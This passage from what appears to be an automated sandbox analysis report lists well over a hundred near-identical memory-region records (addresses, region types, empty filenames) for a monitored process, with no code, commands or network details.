0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12945 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12946 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12947 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12948 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12949 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12950 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12951 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12952 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12953 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12954 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12955 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12956 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12957 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12958 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12959 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12960 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12961 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12962 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12963 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12964 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12965 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12966 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12967 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12968 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12969 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12970 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12971 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12972 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12973 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12974 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12975 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12976 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12977 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12978 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12979 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12980 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12981 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12982 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12983 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12984 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12985 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12986 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12987 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12988 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12989 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12990 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12991 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12992 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12993 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12994 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12995 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12996 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12997 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12998 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12999 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13000 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13001 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13002 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13003 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13004 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13005 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13006 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13007 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 13008 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13009 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13010 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13011 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13012 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13013 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13014 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13015 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13016 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13017 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13018 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13019 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13020 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13021 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13022 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13023 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13024 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13025 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13026 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13027 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13028 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13029 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13030 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13031 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13032 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13033 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13034 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13035 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13036 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13037 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13038 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13039 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13040 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13041 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13042 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13043 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13044 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13045 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13046 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13047 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13048 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13049 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13050 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13051 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13052 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13053 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13054 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13055 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13056 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13057 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13058 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13059 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13060 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13061 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13062 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13063 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13064 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13065 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13066 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13067 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13068 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13069 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13070 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13071 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13072 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13073 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13074 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13075 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13076 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13077 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13078 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13079 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13080 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13081 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13082 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13083 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13084 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13085 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13086 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13087 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13088 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13089 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13090 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13091 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13092 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13093 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13094 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13095 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13096 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13097 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13098 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13099 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13100 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13101 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13102 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13103 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13104 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13105 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13106 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13107 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13108 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13109 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13110 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13111 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13112 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13113 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13114 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 13115 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13116 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13117 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13118 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13119 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13120 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13121 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13122 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13123 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13124 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13125 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13126 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 13127 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 